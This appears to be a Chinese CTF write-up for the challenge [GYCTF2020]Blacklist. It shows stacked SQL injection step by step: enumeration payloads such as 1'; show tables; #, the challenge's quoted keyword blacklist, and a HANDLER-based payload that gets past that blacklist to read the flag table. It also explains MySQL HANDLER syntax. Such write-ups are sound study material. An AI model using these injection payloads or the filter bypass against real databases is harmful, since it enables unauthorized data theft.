当前位置: 首页 > news >正文

堆叠注入 [GYCTF2020]Blacklist1

打开题目

判断注入点

输入1,页面回显

输入1'

页面报错

输入 1' #

页面正常,说明是单引号的字符型注入

我们输入1'; show databases; #

说明有6个数据库

1'; show tables; #

说明有三个表

我们直接查看FlagHere的表结构

1';desc `FlagHere`;#

发现下面没有flag

那我们接着爆破列名字段

1'  order by 2; #页面正常

 1' order by 3; # 页面报错

说明列名字段数为2

输入1';select * from FlagHere; #

发现页面过滤了很多东西

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

所以union select联合注入就用不了

那我们就尝试堆叠注入和handl句

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#

得到flag

知识点:

堆叠注入

  原理:

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行?
因此这个想法也就造就了堆叠注入

  实现条件:

堆叠注入原理是通过结束符同时执行多条sql语句,这就需要服务器在访问数据端时使用的是可同时执行多条sql语句的方法。例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数,简单总结下来就是

1、目标存在sql注入漏洞
2、目标未对";"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql语句


而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句

相关文章:堆叠注入原理解析_Stray.io的博客-CSDN博客

堆叠注入的一些操作:

获取库名、表名、列名

show databases;
show tables;
show columns from `table_name`;

查看表结构

desc `表名`;

MySQL关于HANDLER命令的用法

官方给出的格式

HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

HANDLER ... OPEN语句会打开一个表,使其能够用后续的HANDLER ... READ语句访问。这个表不能和其他会话共享直到HANDLER ... CLOSE或会话关闭。

如果使用别名打开表,后续在使用HANDLER语句打开表必须使用别名而不能用原表名。如果不使用别名,而是使用带有数据库名前缀的表名,后续引用需要去掉数据库名。例如,使用mydb.mytable,后续引用需使用mytable。

第一个HANDER ... READ语法获取的是特定索引满足给定值并且满足where条件的行。如果是多列索引,给定的索引列值应该是用逗号隔开的列表。要么指定索引中所有列的值,要么指定索引列中的最左边的不几列。如果索引my_idx包含col_a,col_b,col_c。HANDLER语句可以指定索引中的全部三个列值,或者是最左边的几列。例如

HANDLER ... READ my_idx = (col_a_val,col_b_val,col_c_val) ...
HANDLER ... READ my_idx = (col_a_val,col_b_val) ...
HANDLER ... READ my_idx = (col_a_val) ...

第二个HANDLER ... READ语法表示按照索引的某种顺序来按照where条件筛选结果行

第三个HANDLER ... READ语法表示按照表中行的自然顺序匹配where条件。当需要全表扫描来获取每一行时(结果行足够多),比第一、二种使用索引方式都要更快。实际上,自然行顺序就是数据行在MyISAM表数据文件中的存放顺序。这条语句对于InnoDB表同样适用,但是不存在这样的概念,因为没有独立的数据文件。

若没有LIMIT子句,所有HANDLER ... READ形式的语句都最多只会获取一行。要返回多少行,就LIMIT多少。

HANDLER ... CLOSE用于关闭用HANDLER ... OPEN打开的表。

假设有一张叫’user’,有一列叫’name’,该列有一个索引叫’name_index’,如果要查询name为小明的记录,那么HANDLER语句的写法就是:

handler user open as user;
handler user READ name_index=('小明') ;

handler user close;

需要注意的是,这个语句只会返回一条记录(如果表中有满足条件的记录),如果要返回多条,可以这么写

handler user open as user;
handler user READ name_index=('小明') limit 10 ;

handler user close;

我们没办法一次返回所有的记录——因为我们并不知道满足条件的记录一共有多少条 

其他大佬给出的解释

句柄:句柄(Handle)是一个是用来标识对象或者项目的标识符,可以用来描述窗体、文件等。这是我从百度上搜到的。

翻译成白话就是,句柄 相当于一个指针,是一个广义的指针,不是特定指向某一个形式(整数、数组、对象等)。

# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)[ WHERE where_condition ] [LIMIT ... ]# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT ... ]# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT ... ]# 关闭已打开的句柄
HANDLER tbl_name CLOSE

相关文章链接:MySQL关于HANDLER命令的说明_handler open as ``;-CSDN博客

Mysql HANDLER语句 - 简书

【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

http://www.lryc.cn/news/218770.html

相关文章:

  • 算法:Java构建二叉树并递归实现二叉树的前序、中序、后序遍历
  • 既然有了字节流,为什么还要有字符流?
  • 3+单细胞+代谢+WGCNA+机器学习
  • 音乐推荐与管理系统Python+Django网页界面+协同过滤推荐算法
  • (论文阅读15/100)You Only Look Once: Unified, Real-Time Object Detection
  • init进程启动过程
  • 全网最详细的【shell脚本的入门】
  • CH10_简化条件逻辑
  • nn.LayerNorm解释
  • Springboot搭建微服务案例之Eureka注册中心
  • 【MySQL】用户管理权限控制
  • 若依框架前后端分离版服务器部署,前端nginx的配置
  • 基于单片机的滚筒洗衣机智能控制系统设计
  • 简述多模态学习中,对齐、融合和表示
  • Kotlin 进阶函数式编程技巧
  • 操作系统——内存映射文件(王道视频p57)
  • 王道p18 07.将两个有序顺序表合并为一个新的有序顺序表,并由函数返回结果顺序表。(c语言代码实现)
  • 2024最新mac电脑清理垃圾的软件有哪些?
  • 2023年【山东省安全员C证】考试技巧及山东省安全员C证模拟试题
  • 2024最新免费的mac电脑清理垃圾的软件有哪些?
  • linux下sqlplus登录oracle显示问号处理办法
  • Git 删除本地和远程分支
  • Selenium元素定位之页面检测技巧
  • C# 文件 文件夹 解除占用
  • 数据库 存储引擎
  • 操作系统复习(2)进程管理
  • 通过51单片机控制28byj48步进电机按角度正反转旋转
  • 二十三种设计模式全面解析-装饰器模式的高级应用:打造灵活可扩展的通知系统
  • 使用脚本整合指定文件/文件夹,执行定制化 ESLint 命令
  • C++ static与类